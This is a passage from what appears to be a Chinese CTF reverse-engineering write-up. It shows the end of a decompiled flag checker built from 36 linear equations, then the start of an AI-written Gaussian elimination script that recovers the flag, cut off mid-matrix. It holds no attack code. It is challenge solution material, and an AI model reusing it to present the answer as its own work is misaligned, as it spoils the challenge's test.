+ 70 * flag[22] + 34 * flag[23] + 45 * flag[24] + 76 * flag[25] + 57 * flag[26] + 43 * flag[27] + 100 * flag[28] + 19 * flag[29] + 11 * flag[30] + 90 * flag[31] + 3 * flag[32] + 60 * flag[33] + 57 * flag[34] + 23 * flag[35] == 172116 and 65 * flag[0] + 70 * flag[1] + 20 * flag[2] + 32 * flag[3] + 75 * flag[4] + 30 * flag[5] + 3 * flag[6] + 78 * flag[7] + 35 * flag[8] + 45 * flag[9] + 95 * flag[10] + 93 * flag[11] + 52 * flag[12] + 32 * flag[13] + 88 * flag[14] + 94 * flag[15] + 67 * flag[16] + 34 * flag[17] + 91 * flag[18] + 88 * flag[19] + 31 * flag[20] + 61 * flag[21] + 17 * flag[22] + 99 * flag[23] + 100 * flag[24] + 49 * flag[25] + 4 * flag[26] + 60 * flag[27] + 81 * flag[28] + 88 * flag[29] + 43 * flag[30] + 34 * flag[31] + 30 * flag[32] + 52 * flag[33] + 18 * flag[34] + 100 * flag[35] == 190544 and 81 * flag[0] + 42 * flag[1] + 28 * flag[2] + 98 * flag[3] + 31 * flag[4] + 46 * flag[5] + 64 * flag[6] + 15 * flag[7] + 49 * flag[8] + 13 * flag[9] + 100 * flag[10] + 81 * flag[11] + 32 * flag[12] + 52 * flag[13] + 59 * flag[14] + 24 * flag[15] + 94 * flag[16] + 32 * flag[17] + 93 * flag[18] + 32 * flag[19] + 13 * flag[20] + 89 * flag[21] + 37 * flag[22] + 30 * flag[23] + 78 * flag[24] + 81 * flag[25] + 9 * flag[26] + 45 * flag[27] + 93 * flag[28] + 100 * flag[29] + 97 * flag[30] + 10 * flag[31] + 80 * flag[32] + 54 * flag[33] + 88 * flag[34] + 85 * flag[35] == 190323 and 76 * flag[0] + 54 * flag[1] + 5 * flag[2] + 14 * flag[3] + 62 * flag[4] + 44 * flag[5] + 24 * flag[6] + 29 * flag[7] + 85 * flag[8] + 87 * flag[9] + 19 * flag[10] + 3 * flag[11] + 65 * flag[12] + 24 * flag[13] + 92 * flag[14] + 37 * flag[15] + 57 * flag[16] + 20 * flag[17] + 45 * flag[18] + 5 * flag[19] + 13 * flag[20] + 91 * flag[21] + 92 * flag[22] + 75 * flag[23] + 36 * flag[24] + 79 * flag[25] + 12 * flag[26] + 22 * flag[27] + 75 * flag[28] + 82 * flag[29] + 28 * flag[30] + 82 * flag[31] + 24 * flag[32] + 53 * flag[33] + 56 * flag[34] + 92 * flag[35] == 162017 and 53 * flag[0] + 52 * flag[1] + 72 * flag[2] + 23 * flag[3] + 26 * flag[4] + 13 * flag[5] + 62 * flag[6] + 96 * flag[7] + 67 * flag[8] + 96 * flag[9] + 66 * flag[10] + 41 * flag[11] + 5 * flag[12] + 18 * flag[13] + 37 * flag[14] + 13 * flag[15] + 61 * flag[16] + 71 * flag[17] + 91 * flag[18] + 96 * flag[19] + 56 * flag[20] + 3 * flag[21] + 65 * flag[22] + 14 * flag[23] + 57 * flag[24] + 69 * flag[25] + 75 * flag[26] + 68 * flag[27] + 10 * flag[28] + 60 * flag[29] + 62 * flag[30] + 95 * flag[31] + 53 * flag[32] + 19 * flag[33] + 7 * flag[34] + 56 * flag[35] == 165118 and 26 * flag[0] + 7 * flag[1] + 49 * flag[2] + 14 * flag[3] + 36 * flag[4] + 87 * flag[5] + 21 * flag[6] + 35 * flag[7] + 15 * flag[8] + 91 * flag[9] + 15 * flag[10] + 100 * flag[11] + 8 * flag[12] + 32 * flag[13] + 100 * flag[14] + 35 * flag[15] + 66 * flag[16] + 3 * flag[17] + 79 * flag[18] + 96 * flag[19] + 82 * flag[20] + 95 * flag[21] + 68 * flag[22] + 13 * flag[23] + 86 * flag[24] + 51 * flag[25] + 24 * flag[26] + 76 * flag[27] + 30 * flag[28] + 60 * flag[29] + 29 * flag[30] + 70 * flag[31] + 40 * flag[32] + 90 * flag[33] + 44 * flag[34] + 3 * flag[35] == 153332 and 47 * flag[0] + 19 * flag[1] + 37 * flag[2] + 93 * flag[3] + 73 * flag[4] + 30 * flag[5] + 45 * flag[6] + 47 * flag[7] + 72 * flag[8] + 85 * flag[9] + 37 * flag[10] + 68 * flag[11] + 89 * flag[12] + 34 * flag[13] + 4 * flag[14] + 50 * flag[15] + 87 * flag[16] + 33 * flag[17] + 87 * flag[18] + 43 * flag[19] + 9 * flag[20] + 61 * flag[21] + 93 * flag[22] + 49 * flag[23] + 74 * flag[24] + 49 * flag[25] + 68 * flag[26] + 29 * flag[27] + 54 * flag[28] + 54 * flag[29] + 37 * flag[30] + 79 * flag[31] + 33 * flag[32] + 65 * flag[33] + 59 * flag[34] + 15 * flag[35] == 168472 and 79 * flag[0] + 73 * flag[1] + 60 * flag[2] + 62 * flag[3] + 25 * flag[4] + 16 * flag[5] + 77 * flag[6] + 81 * flag[7] + 79 * flag[8] + 31 * flag[9] + 82 * flag[10] + 84 * flag[11] + 62 * flag[12] + 36 * flag[13] + 18 * flag[14] + 20 * flag[15] + 46 * flag[16] + 57 * flag[17] + 21 * flag[18] + 40 * flag[19] + 3 * flag[20] + 50 * flag[21] + 58 * flag[22] + 80 * flag[23] + 84 * flag[24] + 71 * flag[25] + 87 * flag[26] + 3 * flag[27] + 13 * flag[28] + 77 * flag[29] + 83 * flag[30] + 39 * flag[31] + 55 * flag[32] + 34 * flag[33] + 41 * flag[34] + 63 * flag[35] == 178706 and 7 * flag[0] + 50 * flag[1] + 26 * flag[2] + 79 * flag[3] + 21 * flag[4] + 42 * flag[5] + 83 * flag[6] + 94 * flag[7] + 63 * flag[8] + 83 * flag[9] + 3 * flag[10] + 68 * flag[11] + 25 * flag[12] + 91 * flag[13] + 3 * flag[14] + 5 * flag[15] + 17 * flag[16] + 61 * flag[17] + 3 * flag[18] + 40 * flag[19] + 87 * flag[20] + 11 * flag[21] + 27 * flag[22] + 74 * flag[23] + 73 * flag[24] + 21 * flag[25] + 56 * flag[26] + 46 * flag[27] + 36 * flag[28] + 24 * flag[29] + 14 * flag[30] + 63 * flag[31] + 21 * flag[32] + 71 * flag[33] + 30 * flag[34] + 53 * flag[35] == 143852 and 57 * flag[0] + 51 * flag[1] + 49 * flag[2] + 15 * flag[3] + 94 * flag[4] + 34 * flag[5] + 27 * flag[6] + 5 * flag[7] + 100 * flag[8] + 68 * flag[9] + 67 * flag[10] + 81 * flag[11] + 10 * flag[12] + 5 * flag[13] + 85 * flag[14] + 70 * flag[15] + 80 * flag[16] + 20 * flag[17] + 89 * flag[18] + 30 * flag[19] + 84 * flag[20] + 35 * flag[21] + 41 * flag[22] + 87 * flag[23] + 75 * flag[24] + 67 * flag[25] + 20 * flag[26] + 33 * flag[27] + 29 * flag[28] + 6 * flag[29] + 97 * flag[30] + 25 * flag[31] + 10 * flag[32] + 18 * flag[33] + 23 * flag[34] + 30 * flag[35] == 154052 and 97 * flag[0] + 93 * flag[1] + 10 * flag[2] + 44 * flag[3] + 28 * flag[4] + 22 * flag[5] + 17 * flag[6] + 41 * flag[7] + 47 * flag[8] + 62 * flag[9] + 42 * flag[10] + 47 * flag[11] + 61 * flag[12] + 32 * flag[13] + 31 * flag[14] + 52 * flag[15] + 47 * flag[16] + 92 * flag[17] + 42 * flag[18] + 37 * flag[19] + 7 * flag[20] + 40 * flag[21] + 48 * flag[22] + 40 * flag[23] + 11 * flag[24] + 96 * flag[25] + 51 * flag[26] + 42 * flag[27] + 66 * flag[28] + 8 * flag[29] + 89 * flag[30] + 64 * flag[31] + 30 * flag[32] + 11 * flag[33] + 8 * flag[34] + 83 * flag[35] == 147899 and 51 * flag[0] + 94 * flag[1] + 58 * flag[2] + 76 * flag[3] + 21 * flag[4] + 10 * flag[5] + 75 * flag[6] + 4 * flag[7] + 55 * flag[8] + 37 * flag[9] + 71 * flag[10] + 97 * flag[11] + 27 * flag[12] + 93 * flag[13] + 82 * flag[14] + 94 * flag[15] + 38 * flag[16] + 69 * flag[17] + 36 * flag[18] + 58 * flag[19] + 93 * flag[20] + 18 * flag[21] + 54 * flag[22] + 59 * flag[23] + 12 * flag[24] + 12 * flag[25] + 54 * flag[26] + 83 * flag[27] + 73 * flag[28] + 83 * flag[29] + 33 * flag[30] + 12 * flag[31] + 78 * flag[32] + 38 * flag[33] + 45 * flag[34] + 57 * flag[35] == 176754 and 78 * flag[0] + 29 * flag[1] + 8 * flag[2] + 47 * flag[3] + 48 * flag[4] + 88 * flag[5] + 18 * flag[6] + 88 * flag[7] + 50 * flag[8] + 58 * flag[9] + 36 * flag[10] + 88 * flag[11] + 9 * flag[12] + 74 * flag[13] + 85 * flag[14] + 5 * flag[15] + 91 * flag[16] + 58 * flag[17] + 85 * flag[18] + 46 * flag[19] + 89 * flag[20] + 76 * flag[21] + 61 * flag[22] + 6 * flag[23] + 61 * flag[24] + 78 * flag[25] + 4 * flag[26] + 48 * flag[27] + 50 * flag[28] + 69 * flag[29] + 23 * flag[30] + 70 * flag[31] + 23 * flag[32] + 15 * flag[33] + 22 * flag[34] + 68 * flag[35] == 171970 and 75 * flag[0] + 2 * flag[1] + 94 * flag[2] + 97 * flag[3] + 72 * flag[4] + 62 * flag[5] + 78 * flag[6] + 42 * flag[7] + 69 * flag[8] + 11 * flag[9] + 37 * flag[10] + 3 * flag[11] + 29 * flag[12] + 15 * flag[13] + 39 * flag[14] + 33 * flag[15] + 18 * flag[16] + 33 * flag[17] + 12 * flag[18] + 64 * flag[19] + 6 * flag[20] + 18 * flag[21] + 34 * flag[22] + 15 * flag[23] + 3 * flag[24] + 100 * flag[25] + 85 * flag[26] + 32 * flag[27] + 97 * flag[28] + 93 * flag[29] + 84 * flag[30] + 73 * flag[31] + 26 * flag[32] + 31 * flag[33] + 71 * flag[34] + 97 * flag[35] == 166497 and 59 * flag[0] + 26 * flag[1] + 48 * flag[2] + 86 * flag[3] + 58 * flag[4] + 70 * flag[5] + 61 * flag[6] + 100 * flag[7] + 63 * flag[8] + 74 * flag[9] + 26 * flag[10] + 38 * flag[11] + 24 * flag[12] + 45 * flag[13] + 52 * flag[14] + 32 * flag[15] + 91 * flag[16] + 89 * flag[17] + 19 * flag[18] + 59 * flag[19] + 87 * flag[20] + 5 * flag[21] + 15 * flag[22] + 68 * flag[23] + 72 * flag[24] + 67 * flag[25] + 2 * flag[26] + 65 * flag[27] + 46 * flag[28] + 10 * flag[29] + 33 * flag[30] + 79 * flag[31] + 11 * flag[32] + 16 * flag[33] + 73 * flag[34] + 53 * flag[35] == 173887 and 6 * flag[0] + 66 * flag[1] + 59 * flag[2] + 76 * flag[3] + 86 * flag[4] + 20 * flag[5] + 59 * flag[6] + 34 * flag[7] + 28 * flag[8] + 48 * flag[9] + 86 * flag[10] + 5 * flag[11] + 87 * flag[12] + 13 * flag[13] + 95 * flag[14] + 87 * flag[15] + 65 * flag[16] + 35 * flag[17] + 58 * flag[18] + 10 * flag[19] + 98 * flag[20] + 100 * flag[21] + 4 * flag[22] + 78 * flag[23] + 66 * flag[24] + 57 * flag[25] + 34 * flag[26] + 86 * flag[27] + 62 * flag[28] + 36 * flag[29] + 92 * flag[30] + 28 * flag[31] + 3 * flag[32] + 24 * flag[33] + 49 * flag[34] + 28 * flag[35] == 173189 and 25 * flag[0] + 48 * flag[1] + 44 * flag[2] + 16 * flag[3] + 99 * flag[4] + 100 * flag[5] + 69 * flag[6] + 26 * flag[7] + 65 * flag[8] + 32 * flag[9] + 18 * flag[10] + 65 * flag[11] + 58 * flag[12] + 72 * flag[13] + 61 * flag[14] + 56 * flag[15] + 10 * flag[16] + 78 * flag[17] + 93 * flag[18] + 98 * flag[19] + 39 * flag[20] + 43 * flag[21] + 87 * flag[22] + 12 * flag[23] + 42 * flag[24] + 100 * flag[25] + 100 * flag[26] + 47 * flag[27] + 31 * flag[28] + 51 * flag[29] + 75 * flag[30] + 10 * flag[31] + 63 * flag[32] + 48 * flag[33] + 22 * flag[34] + 87 * flag[35] == 174138 and 61 * flag[0] + 13 * flag[1] + 100 * flag[2] + 59 * flag[3] + 31 * flag[4] + 9 * flag[5] + 28 * flag[6] + 7 * flag[7] + 27 * flag[8] + 63 * flag[9] + 11 * flag[10] + 57 * flag[11] + 95 * flag[12] + 79 * flag[13] + 21 * flag[14] + 30 * flag[15] + 60 * flag[16] + 81 * flag[17] + 43 * flag[18] + 32 * flag[19] + 30 * flag[20] + 34 * flag[21] + 80 * flag[22] + 53 * flag[23] + 28 * flag[24] + 39 * flag[25] + 74 * flag[26] + 21 * flag[27] + 18 * flag[28] + 92 * flag[29] + 73 * flag[30] + 60 * flag[31] + 21 * flag[32] + 69 * flag[33] + 76 * flag[34] + 84 * flag[35] == 157623 and 22 * flag[0] + 62 * flag[1] + 61 * flag[2] + 20 * flag[3] + 66 * flag[4] + 2 * flag[5] + 11 * flag[6] + 82 * flag[7] + 93 * flag[8] + 13 * flag[9] + 69 * flag[10] + 37 * flag[11] + 92 * flag[12] + 80 * flag[13] + 66 * flag[14] + 47 * flag[15] + 28 * flag[16] + 14 * flag[17] + 62 * flag[18] + 56 * flag[19] + 89 * flag[20] + 29 * flag[21] + 39 * flag[22] + 38 * flag[23] + 46 * flag[24] + 10 * flag[25] + 6 * flag[26] + 82 * flag[27] + 77 * flag[28] + 78 * flag[29] + 45 * flag[30] + 50 * flag[31] + 5 * flag[32] + 73 * flag[33] + 17 * flag[34] + 65 * flag[35] == 154943 and 5 * flag[0] + 84 * flag[1] + 83 * flag[2] + 77 * flag[3] + 76 * flag[4] + 60 * flag[5] + 20 * flag[6] + 48 * flag[7] + 53 * flag[8] + 14 * flag[9] + 98 * flag[10] + 50 * flag[11] + 37 * flag[12] + 15 * flag[13] + 31 * flag[14] + 69 * flag[15] + 55 * flag[16] + 37 * flag[17] + 64 * flag[18] + 35 * flag[19] + 26 * flag[20] + 20 * flag[21] + 18 * flag[22] + 67 * flag[23] + 50 * flag[24] + 57 * flag[25] + 60 * flag[26] + 71 * flag[27] + 4 * flag[28] + 35 * flag[29] + 23 * flag[30] + 52 * flag[31] + 11 * flag[32] + 15 * flag[33] + 83 * flag[34] + 51 * flag[35] == 156078 and 33 * flag[0] + 47 * flag[1] + 89 * flag[2] + 52 * flag[3] + 89 * flag[4] + 55 * flag[5] + 98 * flag[6] + 28 * flag[7] + 48 * flag[8] + 90 * flag[9] + 69 * flag[10] + 29 * flag[11] + 68 * flag[12] + 24 * flag[13] + 19 * flag[14] + 18 * flag[15] + 44 * flag[16] + 27 * flag[17] + 14 * flag[18] + 64 * flag[19] + 15 * flag[20] + 31 * flag[21] + 23 * flag[22] + 2 * flag[23] + 36 * flag[24] + 45 * flag[25] + 37 * flag[26] + 71 * flag[27] + 61 * flag[28] + 92 * flag[29] + 28 * flag[30] + 64 * flag[31] + 13 * flag[32] + 66 * flag[33] + 98 * flag[34] + 3 * flag[35] == 156158 and 80 * flag[0] + 88 * flag[1] + 68 * flag[2] + 66 * flag[3] + 46 * flag[4] + 75 * flag[5] + 32 * flag[6] + 19 * flag[7] + 36 * flag[8] + 83 * flag[9] + 63 * flag[10] + 86 * flag[11] + 79 * flag[12] + 30 * flag[13] + 61 * flag[14] + 50 * flag[15] + 100 * flag[16] + 52 * flag[17] + 66 * flag[18] + 30 * flag[19] + 20 * flag[20] + 97 * flag[21] + 45 * flag[22] + 46 * flag[23] + 38 * flag[24] + 21 * flag[25] + 32 * flag[26] + 79 * flag[27] + 68 * flag[28] + 43 * flag[29] + 65 * flag[30] + 47 * flag[31] + 86 * flag[32] + 30 * flag[33] + 74 * flag[34] + 18 * flag[35] == 181770 and 11 * flag[0] + 58 * flag[1] + 95 * flag[2] + 67 * flag[3] + 96 * flag[4] + 74 * flag[5] + 60 * flag[6] + 11 * flag[7] + 21 * flag[8] + 14 * flag[9] + 100 * flag[10] + 60 * flag[11] + 70 * flag[12] + 92 * flag[13] + 92 * flag[14] + 39 * flag[15] + 43 * flag[16] + 52 * flag[17] + 5 * flag[18] + 22 * flag[19] + 90 * flag[20] + 70 * flag[21] + 12 * flag[22] + 52 * flag[23] + 36 * flag[24] + 21 * flag[25] + 45 * flag[26] + 59 * flag[27] + 74 * flag[28] + 46 * flag[29] + 11 * flag[30] + 60 * flag[31] + 8 * flag[32] + 52 * flag[33] + 14 * flag[34] + 77 * flag[35] == 173577 and 57 * flag[0] + 37 * flag[1] + 94 * flag[2] + 43 * flag[3] + 53 * flag[4] + 55 * flag[5] + 7 * flag[6] + 83 * flag[7] + 91 * flag[8] + 61 * flag[9] + 86 * flag[10] + 6 * flag[11] + 44 * flag[12] + 87 * flag[13] + 61 * flag[14] + 92 * flag[15] + 24 * flag[16] + 74 * flag[17] + 100 * flag[18] + 22 * flag[19] + 12 * flag[20] + 68 * flag[21] + 19 * flag[22] + 88 * flag[23] + 81 * flag[24] + 83 * flag[25] + 70 * flag[26] + 39 * flag[27] + 30 * flag[28] + 82 * flag[29] + 30 * flag[30] + 35 * flag[31] + 55 * flag[32] + 18 * flag[33] + 27 * flag[34] + 80 * flag[35] == 180922 and 80 * flag[0] + 14 * flag[1] + 5 * flag[2] + 89 * flag[3] + 71 * flag[4] + 82 * flag[5] + 44 * flag[6] + 8 * flag[7] + 33 * flag[8] + 26 * flag[9] + 77 * flag[10] + 49 * flag[11] + 36 * flag[12] + 90 * flag[13] + 73 * flag[14] + 71 * flag[15] + 66 * flag[16] + 4 * flag[17] + 37 * flag[18] + 78 * flag[19] + 38 * flag[20] + 18 * flag[21] + 15 * flag[22] + 79 * flag[23] + 6 * flag[24] + 74 * flag[25] + 18 * flag[26] + 85 * flag[27] + 56 * flag[28] + 53 * flag[29] + 90 * flag[30] + 75 * flag[31] + 52 * flag[32] + 2 * flag[33] + 13 * flag[34] + 54 * flag[35] == 158596 and 96 * flag[0] + 29 * flag[1] + 37 * flag[2] + 70 * flag[3] + 92 * flag[4] + 80 * flag[5] + 24 * flag[6] + 36 * flag[7] + 32 * flag[8] + 29 * flag[9] + 78 * flag[10] + 45 * flag[11] + 58 * flag[12] + 55 * flag[13] + 16 * flag[14] + 92 * flag[15] + 71 * flag[16] + 82 * flag[17] + 86 * flag[18] + 23 * flag[19] + 4 * flag[20] + 58 * flag[21] + 16 * flag[22] + 18 * flag[23] + 38 * flag[24] + 53 * flag[25] + 82 * flag[26] + 76 * flag[27] + 83 * flag[28] + 73 * flag[29] + 87 * flag[30] + 36 * flag[31] + 61 * flag[32] + 85 * flag[33] + 61 * flag[34] + 69 * flag[35] == 181072 and 14 * flag[0] + 71 * flag[1] + 53 * flag[2] + 46 * flag[3] + 59 * flag[4] + 53 * flag[5] + 22 * flag[6] + 69 * flag[7] + 67 * flag[8] + 43 * flag[9] + 23 * flag[10] + 14 * flag[11] + 77 * flag[12] + 95 * flag[13] + 19 * flag[14] + 83 * flag[15] + 79 * flag[16] + 41 * flag[17] + 12 * flag[18] + 53 * flag[19] + 3 * flag[20] + 4 * flag[21] + 65 * flag[22] + 92 * flag[23] + 64 * flag[24] + 52 * flag[25] + 3 * flag[26] + 59 * flag[27] + 89 * flag[28] + 75 * flag[29] + 12 * flag[30] + 46 * flag[31] + 61 * flag[32] + 53 * flag[33] + 97 * flag[34] + 43 * flag[35] == 163777 and 57 * flag[0] + 99 * flag[1] + 49 * flag[2] + 100 * flag[3] + 68 * flag[4] + 99 * flag[5] + 26 * flag[6] + 65 * flag[7] + 47 * flag[8] + 65 * flag[9] + 90 * flag[10] + 68 * flag[11] + 84 * flag[12] + 4 * flag[13] + 9 * flag[14] + 43 * flag[15] + 88 * flag[16] + 33 * flag[17] + 48 * flag[18] + 88 * flag[19] + 37 * flag[20] + 31 * flag[21] + 21 * flag[22] + 94 * flag[23] + 22 * flag[24] + 93 * flag[25] + 70 * flag[26] + 14 * flag[27] + 13 * flag[28] + 28 * flag[29] + 83 * flag[30] + 12 * flag[31] + 80 * flag[32] + 58 * flag[33] + 43 * flag[34] + 97 * flag[35] == 187620 and 33 * flag[0] + 94 * flag[1] + 56 * flag[2] + 48 * flag[3] + 13 * flag[4] + 44 * flag[5] + 81 * flag[6] + 42 * flag[7] + 19 * flag[8] + 96 * flag[9] + 67 * flag[10] + 79 * flag[11] + 12 * flag[12] + 67 * flag[13] + 34 * flag[14] + 72 * flag[15] + 45 * flag[16] + 48 * flag[17] + 24 * flag[18] + 71 * flag[19] + 65 * flag[20] + 13 * flag[21] + 32 * flag[22] + 97 * flag[23] + 48 * flag[24] + 42 * flag[25] + 65 * flag[26] + 95 * flag[27] + 54 * flag[28] + 9 * flag[29] + 35 * flag[30] + 57 * flag[31] + 18 * flag[32] + 20 * flag[33] + 83 * flag[34] + 76 * flag[35] == 169266 and 31 * flag[0] + 38 * flag[1] + 83 * flag[2] + 45 * flag[3] + 28 * flag[4] + 97 * flag[5] + 54 * flag[6] + 11 * flag[7] + 80 * flag[8] + 45 * flag[9] + 92 * flag[10] + 13 * flag[11] + 52 * flag[12] + 94 * flag[13] + 51 * flag[14] + 30 * flag[15] + 11 * flag[16] + 61 * flag[17] + 46 * flag[18] + 10 * flag[19] + 28 * flag[20] + 72 * flag[21] + 20 * flag[22] + 95 * flag[23] + 90 * flag[24] + 39 * flag[25] + 32 * flag[26] + 95 * flag[27] + 19 * flag[28] + 3 * flag[29] + 65 * flag[30] + 71 * flag[31] + 73 * flag[32] + 80 * flag[33] + 23 * flag[34] + 71 * flag[35] == 162587 and 9 * flag[0] + 81 * flag[1] + 80 * flag[2] + 37 * flag[3] + 96 * flag[4] + 72 * flag[5] + 95 * flag[6] + 93 * flag[7] + 26 * flag[8] + 98 * flag[9] + 50 * flag[10] + 79 * flag[11] + 57 * flag[12] + 13 * flag[13] + 49 * flag[14] + 96 * flag[15] + 82 * flag[16] + 84 * flag[17] + 89 * flag[18] + 40 * flag[19] + 38 * flag[20] + 66 * flag[21] + 81 * flag[22] + 81 * flag[23] + 79 * flag[24] + 77 * flag[25] + 86 * flag[26] + 68 * flag[27] + 26 * flag[28] + 37 * flag[29] + 15 * flag[30] + 56 * flag[31] + 13 * flag[32] + 17 * flag[33] + 50 * flag[34] + 37 * flag[35] == 198705 and 82 * flag[0] + 57 * flag[1] + 33 * flag[2] + 32 * flag[3] + 79 * flag[4] + 25 * flag[5] + 54 * flag[6] + 27 * flag[7] + 50 * flag[8] + 14 * flag[9] + 72 * flag[10] + 31 * flag[11] + 28 * flag[12] + 66 * flag[13] + 4 * flag[14] + 6 * flag[15] + 48 * flag[16] + 34 * flag[17] + 63 * flag[18] + 51 * flag[19] + 12 * flag[20] + 21 * flag[21] + 73 * flag[22] + 66 * flag[23] + 53 * flag[24] + 38 * flag[25] + 54 * flag[26] + 59 * flag[27] + 76 * flag[28] + 63 * flag[29] + 61 * flag[30] + 30 * flag[31] + 84 * flag[32] + 80 * flag[33] + 98 * flag[34] + 46 * flag[35] == 160349 and 69 * flag[0] + 15 * flag[1] + 23 * flag[2] + 8 * flag[3] + 46 * flag[4] + 55 * flag[5] + 21 * flag[6] + 91 * flag[7] + 37 * flag[8] + 9 * flag[9] + 61 * flag[10] + 20 * flag[11] + 23 * flag[12] + 96 * flag[13] + 28 * flag[14] + 67 * flag[15] + 19 * flag[16] + 50 * flag[17] + 18 * flag[18] + 71 * flag[19] + 30 * flag[20] + 14 * flag[21] + 10 * flag[22] + 24 * flag[23] + 100 * flag[24] + 15 * flag[25] + 91 * flag[26] + 15 * flag[27] + 93 * flag[28] + 24 * flag[29] + 46 * flag[30] + 61 * flag[31] + 67 * flag[32] + 60 * flag[33] + 56 * flag[34] + 81 * flag[35] == 148095:
return True
return False
def main():
flag = str(input('Input your flag: ')).encode()
res = check(flag)
if res:
print('Right flag!')
return None
print('Wrong flag!')
if __name__ == '__main__':
main()
return None
丢给AI分析,让AI写出解密脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
解密 flag 的脚本 - 纯 Python 版本(不需要 numpy)
使用高斯消元法求解线性方程组
"""
def gauss_elimination(A, b):
"""
高斯消元法求解线性方程组 Ax = b
返回解向量 x
"""
n = len(b)
# 创建增广矩阵的副本
matrix = []
for i in range(n):
row = A[i][:] + [b[i]]
matrix.append(row)
# 前向消元
for i in range(n):
# 寻找主元
max_row = i
for k in range(i + 1, n):
if abs(matrix[k][i]) > abs(matrix[max_row][i]):
max_row = k
# 交换行
matrix[i], matrix[max_row] = matrix[max_row], matrix[i]
# 检查是否为零主元
if abs(matrix[i][i]) < 1e-10:
print(f"警告: 第 {i} 行主元接近零")
continue
# 消元
for k in range(i + 1, n):
factor = matrix[k][i] / matrix[i][i]
for j in range(i, n + 1):
matrix[k][j] -= factor * matrix[i][j]
# 回代求解
x = [0.0] * n
for i in range(n - 1, -1, -1):
x[i] = matrix[i][n]
for j in range(i + 1, n):
x[i] -= matrix[i][j] * x[j]
x[i] /= matrix[i][i]
return x
def solve_flag():
"""求解 flag"""
# 系数矩阵 A (36x36)
A = [
[47, 41, 32, 56, 52, 67, 13, 25, 20, 98, 88, 65, 82, 92, 3, 29, 93, 88, 45, 58, 40, 72, 99, 10, 94, 62, 82, 92,
23, 46, 55, 72, 44, 9, 65, 42],
[10, 98, 5, 28, 68, 20, 2, 22, 65, 44, 85, 97, 33, 74, 93, 74, 41, 65, 32, 93, 22, 69, 68, 57, 47, 29, 74, 54,
91, 90, 26, 11, 89, 57, 100, 95],
[25, 22, 54, 5, 8, 3, 12, 70, 25, 61, 68, 12, 27, 42, 83, 91, 67, 46, 8, 45, 94, 80, 69, 95, 12, 21, 94, 82, 93,
41, 4, 56, 92, 77, 15, 30],
[33, 49, 56, 40, 90, 59, 82, 6, 81, 32, 23, 76, 93, 83, 10, 44, 58, 33, 79, 77, 82, 56, 70, 34, 45, 76, 57, 43,
100, 19, 11, 90, 3, 60, 57, 23],
[65, 70, 20, 32, 75, 30, 3, 78, 35, 45, 95, 93, 52, 32, 88, 94, 67, 34, 91, 88, 31, 61, 17, 99, 100, 49, 4, 60,
81, 88, 43, 34, 30, 52, 18, 100],
[81, 42, 28, 98, 31, 46, 64, 15, 49, 13, 100, 81, 32, 52, 59, 24, 94, 32, 93, 32, 13, 89, 37, 30, 78, 81, 9, 45,
93, 100, 97, 10, 80, 54, 88, 85],
[76, 54, 5, 14, 62, 44, 24, 29, 85, 87, 19, 3, 65, 24, 92, 37, 57, 20, 45, 5, 13, 91, 92, 75, 36, 79, 12, 22,
75, 82, 28, 82, 24, 53, 56, 92],
[53, 52, 72, 23, 26, 13, 62, 96, 67, 96, 66, 41, 5, 18, 37, 13, 61, 71, 91, 96, 56, 3, 65, 14, 57, 69, 75, 68,
10, 60, 62, 95, 53, 19, 7, 56],
[26, 7, 49, 14, 36, 87, 21, 35, 15, 91, 15, 100, 8, 32, 100, 35, 66, 3, 79, 96, 82, 95, 68, 13, 86, 51, 24, 76,
30, 60, 29, 70, 40, 90, 44, 3],
[47, 19, 37, 93, 73, 30, 45, 47, 72, 85, 37, 68, 89, 34, 4, 50, 87, 33, 87, 43, 9, 61, 93, 49, 74, 49, 68, 29,
54, 54, 37, 79, 33, 65, 59, 15],
[79, 73, 60, 62, 25, 16, 77, 81, 79, 31, 82, 84, 62, 36, 18, 20, 46, 57, 21, 40, 3, 50, 58, 80, 84, 71, 87, 3,
13, 77, 83, 39, 55, 34, 41, 63],
[7, 50, 26, 79, 21, 42, 83, 94, 63, 83, 3, 68, 25, 91, 3, 5, 17, 61, 3, 40, 87, 11, 27, 74, 73, 21, 56, 46, 36,
24, 14, 63, 21, 71, 30, 53],
[57, 51, 49, 15, 94, 34, 27, 5, 100, 68, 67, 81, 10, 5, 85, 70, 80, 20, 89, 30, 84, 35, 41, 87, 75, 67, 20, 33,
29, 6, 97, 25, 10, 18, 23, 30],
[97, 93, 10, 44, 28, 22, 17, 41, 47, 62, 42, 47, 61, 32, 31, 52, 47, 92, 42, 37, 7, 40, 48, 40, 11, 96, 51, 42,
66, 8, 89, 64, 30, 11, 8, 83],
[51, 94, 58, 76, 21, 10, 75, 4, 55, 37, 71, 97, 27, 93, 82, 94, 38, 69, 36, 58, 93, 18, 54, 59, 12, 12, 54, 83,
73, 83, 33, 12, 78, 38, 45, 57],
[78, 29, 8, 47, 48, 88, 18, 88, 50, 58, 36, 88, 9, 74, 85, 5, 91, 58, 85, 46, 89, 76, 61, 6, 61, 78, 4, 48, 50,
69, 23, 70, 23, 15, 22, 68],
[75, 2, 94, 97, 72, 62, 78, 42, 69, 11, 37, 3, 29, 15, 39, 33, 18, 33, 12, 64, 6, 18, 34, 15, 3, 100, 85, 32,
97, 93, 84, 73, 26, 31, 71, 97],
[59, 26, 48, 86, 58, 70, 61, 100, 63, 74, 26, 38, 24, 45, 52, 32, 91, 89, 19, 59, 87, 5, 15, 68, 72, 67, 2, 65,
46, 10, 33, 79, 11, 16, 73, 53],
[6, 66, 59, 76, 86, 20, 59, 34, 28, 48, 86, 5, 87, 13, 95, 87, 65, 35, 58, 10, 98, 100, 4, 78, 66, 57, 34, 86,
62, 36, 92, 28, 3, 24, 49, 28],
[25, 48, 44, 16, 99, 100, 69, 26, 65, 32, 18, 65, 58, 72, 61, 56, 10, 78, 93, 98, 39, 43, 87, 12, 42, 100, 100,
47, 31, 51, 75, 10, 63, 48, 22, 87],
[61, 13, 100, 59, 31, 9, 28, 7, 27, 63, 11, 57, 95, 79, 21, 30, 60, 81, 43, 32, 30, 34, 80, 53, 28, 39, 74, 21,
18, 92, 73, 60, 21, 69, 76, 84],
[22, 62, 61, 20, 66, 2, 11, 82, 93, 13, 69, 37, 92, 80, 66, 47, 28, 14, 62, 56, 89, 29, 39, 38, 46, 10, 6, 82,
77, 78, 45, 50, 5, 73, 17, 65],
[5, 84, 83, 77, 76, 60, 20, 48, 53, 14, 98, 50, 37, 15, 31, 69, 55, 37, 64, 35, 26, 20, 18, 67, 50, 57, 60, 71,
